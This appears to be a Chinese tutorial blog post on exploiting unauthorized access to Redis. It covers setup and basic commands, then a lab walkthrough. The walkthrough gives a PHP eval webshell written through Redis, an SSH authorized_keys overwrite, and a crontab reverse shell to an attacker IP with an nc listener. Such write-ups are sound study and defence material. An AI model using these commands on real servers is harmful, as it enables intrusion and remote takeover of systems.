redis未授权访问

Posted 「已注销」

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权访问相关的知识,希望对你有一定的参考价值。

前言

不经历风雨,怎能看到彩虹

了解

redis是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value数据库。

以MemcacheDB、Tokyo Tyrant为代表的key-value分布式存储,在上万并发连接下,轻松地完成高速查询。而mysql,在几百个并发连接下,就基本上崩溃了。

安装

>
	wget http://download.redis.io/releases/redis-6.0.8.tar.gz
	tar xzf redis-6.0.8.tar.gz
	cd redis-6.0.8
	make
	cd src  切换到src
	./redis-server 启动redis客户端

重换一个终端
启动 redis 服务器,打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务
cd src 切换到src
./redis-cli 启动交互服务

执行make命令后,src目录会出现编译后的redis服务程序redis-server和测试的客户端程序redis-cli
启动redis服务

启动redis进程后,可以使用测试客户端程序 redis-cli 和 redis 服务交互

安装问题

make不正确(安装redis6.0.8 含make报错)

先确定自己gcc版本,使用

gcc -v

发现默认版本为gcc版本为4.8.5,将gcc版本升级到5.3以上
升级gcc命令

yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils

临时修改gcc版本

scl enable devtoolset-9 bash

永久修改gcc版本

echo “source /opt/rh/devtoolset-9/enable” >>/etc/profile

6379: bind: Address already in use(6379是redis默认的端口)

	ps -ef | grep redis //查看进程
	kill -9 3086 //杀死进程
	lsof -i:6379 //列出当前系统打开文件的工具。
	netstat -lnpt
		-l:显示监控中的服务器的Socket
		-n:直接使用IP地址,而不通过域名服务器
		-p:显示正在使用Socket的程序识别码和程序名称。
		-t:显示TCP传输协议的连线状况。

本地访问不了云服务器的6379端口(待学习)

防火墙放行了6379,可还没成功,就不要一直纠结,换个方式,挂着先。

kali访问centos7

kali:unbuntu
centos7:centos

要想访问,首先得设置桥接模式

其次,把防火墙关了,不同系统命令不同
unbuntu:
ufw status //查看状态
ufw enable //开启
ufw disable //关闭
centos7:
systemctl stop firewalld.service

这样据可以了,也可以让各自防火墙放行端口

Xshell不能连接SSH的解决

ens33:192.168.43.112
vibr0:192.168.122.1

centos7
首先去安装ssh:yum install ssh
开机启动
输入 vi /etc/rc.local
添加一个启动项 /etc/init.d/ssh start (有些是让sshd,貌似也可以)

kali
启动ssh服务命令
/etc/init.d/ssh start
查看ssh服务状态
/etc/init.d/ssh status
设置开机自启ssh服务
update-rc.d ssh enable

/var/run/yum.pid 已被锁定

rm -f /var/run/yum.pid

学习

命令

远程连接

同网段(实现)

./redis-cli -h 192.168.0.104(含有redis服务的ip地址)

键值

用来管理redis的键。

127.0.0.1:6379>set 键 值
127.0.0.1:6379>set runoobkey(任意值都行) a
127.0.0.1:6379>del runoobkey

字符串

字符串数据类型管理字符值

127.0.0.1:6379>set runoobkey(任意值都行) a
127.0.0.1:6379>get runoobkey
a

哈希值

hash 是一个 string 类型的 field(字段) 和 value(值) 的映射表,hash 特别适合用于存储对象。

redis 127.0.0.1:6379> DEL runoob
redis 127.0.0.1:6379> HMSET runoob field1 "Hello" field2 "World"
"OK"
redis 127.0.0.1:6379> HGET runoob field1
"Hello"
redis 127.0.0.1:6379> HGET runoob field2
"World"

列表

lpush创建列表

redis 127.0.0.1:6379> DEL runoob
redis 127.0.0.1:6379> lpush runoob redis
(integer) 1
redis 127.0.0.1:6379> lpush runoob mongodb
(integer) 2
redis 127.0.0.1:6379> lpush runoob rabbitmq
(integer) 3
redis 127.0.0.1:6379> lrange runoob 0 10
1) "rabbitmq"
2) "mongodb"
3) "redis"
redis 127.0.0.1:6379>

集合

sadd命令创建集合

	redis 127.0.0.1:6379> sadd runoob redis
	(integer) 1
	redis 127.0.0.1:6379> sadd runoob mongodb
	(integer) 1
	redis 127.0.0.1:6379> sadd runoob rabbitmq
	(integer) 1
	redis 127.0.0.1:6379> sadd runoob rabbitmq
	(integer) 0
	redis 127.0.0.1:6379> smembers runoob
  1. “redis”
  2. “rabbitmq”
  3. “mongodb”

未授权访问漏洞测试

攻击者ip:192.168.43.129 操作系统:kali
靶机ip:192.168.43.128 操作系统:centos,靶机开启redis服务器,端口6379

原理: Redis默认使用6379号端口,并且Redis默认是空密码而且默认允许远程连接。一些粗心的网络管理员在安装好Redis后,并没有去修改他的默认端口,而且也没有给他设置密码的话。黑客既可以上传文件访问服务器。

使用redis客户端直接无账号登录redis
![image.png](https://img-blog.csdnimg.cn/img_convert/be013a163ff4f1d29a7d708e670e1a54.png#clientId=uc2cab9af-e3fc-4&from=paste&height=100&id=Txpcj&margin=[object Object]&name=image.png&originHeight=200&originWidth=754&originalType=binary&ratio=1&size=19233&status=done&style=none&taskId=uc7ce5920-c4e6-48dd-88d7-cd109985fe8&width=377)
该redis服务对公网开放,未启用认证。

利用redis写webshell

前提

1.redis链接未授权,攻击机上可以用redis-cli连上d
2.开了web服务器,知道路径(可上传phpinfo,爆破路径),具有文件读写增删改查权限(可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件)

知道本地目录,可以把shell写入/home/xuujian下

靶机

当数据库过大,redis写入shell的小技巧

<?php 
	set_time_limit(0);
	$fp=fopen('bmjoker.php','w');
	fwrite($fp,'<?php @eval($_POST[\\"bmjoker\\"]);?>');
	exit();
?>

利用“公私钥”认证获得root权限(路径问题出问题)

先来了解公私钥

1.我们需要在kali上创建公钥和私钥

ssh-keygen -t rsa


1.(设置的名字)
passphrase(设置密码)
2.设置成功生成(1和1.pub),1是私钥,1.pub是公钥

将公钥生成1.txt
(echo -e “\\n\\n”;cat 1.pub;echo -e “\\n\\n”) > 1.txt
3.然后我们将1.txt上传给靶机

首先获取备份路径,先连接靶机server    
	config get dir   //得到redis备份的路径
其次更改redis公钥服务器路径为/root/.ssh
	config set dir /root/.ssh 
设置上传公钥的备份文件名字为authorized_keys
	config set dbfilename authorized_keys
更改1.txt文件为authorized_keys
	config set dbfilename 
保存后连接靶机(暂时没成功)
	ssh -i 本机私钥 root@靶机ip

利用crontab反弹shell

权限足够,利用reids写入文件到计划任务目录下执行

首先进行端口监听

nc -lvnp 4444    
	连接redis,写入反弹shell    
redis-cli -h 192.168.48.128    
set xxx "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\\n\\n"   
config set dir /var/spool/cron    
config set dbfilename root    
save    

链接

使用redis数据库教程
攻击
私钥公钥
更多姿势

以上是关于redis未授权访问的主要内容,如果未能解决你的问题,请参考以下文章

修补--Redis未授权访问漏洞

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用

Redis 未授权访问缺陷可轻易导致系统被黑

redis未授权访问